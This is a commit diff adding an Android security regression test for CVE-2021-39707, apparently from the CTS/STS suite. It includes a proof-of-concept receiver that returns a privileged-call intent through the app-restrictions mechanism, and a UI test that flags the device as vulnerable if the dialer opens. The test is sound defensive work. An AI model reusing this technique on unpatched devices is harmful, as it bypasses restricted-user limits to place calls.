CTS test for Android Security b/200688991
Bug: 200688991
Bug: 215372530
Test: Ran the new testcase on android-10.0.0_r45 to test with/without patch
Change-Id: I6b87ccd582710859bd7c4e828f3f22734f997cf9
Merged-In: I6b87ccd582710859bd7c4e828f3f22734f997cf9
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
new file mode 100644
index 0000000..2e61b70
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39707 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 200688991)
+ @Test
+ public void testPocCVE_2021_39707() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39707";
+ int userId = -1;
+ try {
+ // Wake up the screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Create restricted user
+ String commandOutput = AdbUtils.runCommandLine(
+ "pm create-user --restricted CVE_2021_39707_RestrictedUser", device);
+
+ // Extract user id of the restricted user
+ String[] tokens = commandOutput.split("\\s+");
+ assumeTrue(tokens.length > 0);
+ assumeTrue(tokens[0].equals("Success:"));
+ userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+ // Install PoC application
+ installPackage("CVE-2021-39707.apk");
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ if (userId != -1) {
+ // Remove restricted user
+ AdbUtils.runCommandLine("pm remove-user " + userId, device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
new file mode 100644
index 0000000..517619a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39707",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
new file mode 100644
index 0000000..bfb3943
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39707">
+ <application android:label="@string/testAppLabel">
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+ </intent-filter>
+ </receiver>
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.CALL_PRIVILEGED" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:scheme="tel" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39707" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
new file mode 100644
index 0000000..16ce3f7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="defaultSettingsPkgName">com.android.settings</string>
+ <string name="resRestrictedUserIcon">%1$s:id/manage_user</string>
+ <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string>
+ <string name="testAppLabel">CVE-2021-39707</string>
+ <string name="testFailMsg">Device is vulnerable to b/200688991!!</string>
+ <string name="textAppContentAccess">App & content access</string>
+ <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string>
+ <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string>
+ <string name="uriData">tel:555-TEST</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
new file mode 100644
index 0000000..0c079a2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testAppRestrictionsFragment() {
+ try {
+ /* Start the "User Settings" window */
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ Context context = getApplicationContext();
+ context.startActivity(intent);
+ String settingsPkgName =
+ intent.resolveActivity(context.getPackageManager()).getPackageName();
+ settingsPkgName =
+ (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName)
+ : settingsPkgName;
+
+ /*
+ * Click on the icon with resource name "com.android.settings:id/manage_user", which is
+ * next to the user "CVE_2021_39707_RestrictedUser" that we've created
+ */
+ final int uiTimeoutMs = 5000;
+ String textRestrictedUser = context.getString(R.string.textRestrictedUser);
+ BySelector selector = By.text(textRestrictedUser);
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ UiObject2 parent = device.findObject(selector).getParent().getParent().getParent();
+ selector = By.res(context.getString(R.string.resRestrictedUserIcon, settingsPkgName));
+ parent.findObject(selector).click();
+
+ /*
+ * Click on the icon with resource name
+ * "com.android.settings:id/app_restrictions_settings" next to the test app
+ * "CVE-2021-39707"
+ */
+ UiScrollable scrollable = new UiScrollable(new UiSelector());
+ String textTestApp = context.getString(R.string.testAppLabel);
+ scrollable.scrollTextIntoView(textTestApp);
+ selector = By.text(textTestApp);
+ assumeTrue(context.getString(R.string.timedOutMsg, textTestApp),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ parent = device.findObject(selector).getParent().getParent().getParent();
+ selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName));
+ parent.findObject(selector).click();
+
+ /*
+ * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen
+ * which indicates vulnerable behaviour
+ */
+ TelecomManager telecomManager = context.getSystemService(TelecomManager.class);
+ selector = By.pkg(telecomManager.getSystemDialerPackage());
+ assertFalse(context.getString(R.string.testFailMsg),
+ device.wait(Until.hasObject(selector), uiTimeoutMs));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
new file mode 100644
index 0000000..92645c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.app.Activity;
+
+// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED"
+// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at
+// least one activity other than the "PrivilegedCallActivity".
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
new file mode 100644
index 0000000..6d4caae
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ Bundle result = new Bundle();
+ Intent dialIntent = new Intent();
+ dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+ dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ setResultExtras(result);
+ } catch (Exception e) {
+ // ignore all exceptions, in the worst case, any exception caught here indicates that
+ // setting extra intent was unsuccessful, so test will pass in the worst case.
+ }
+ }
+}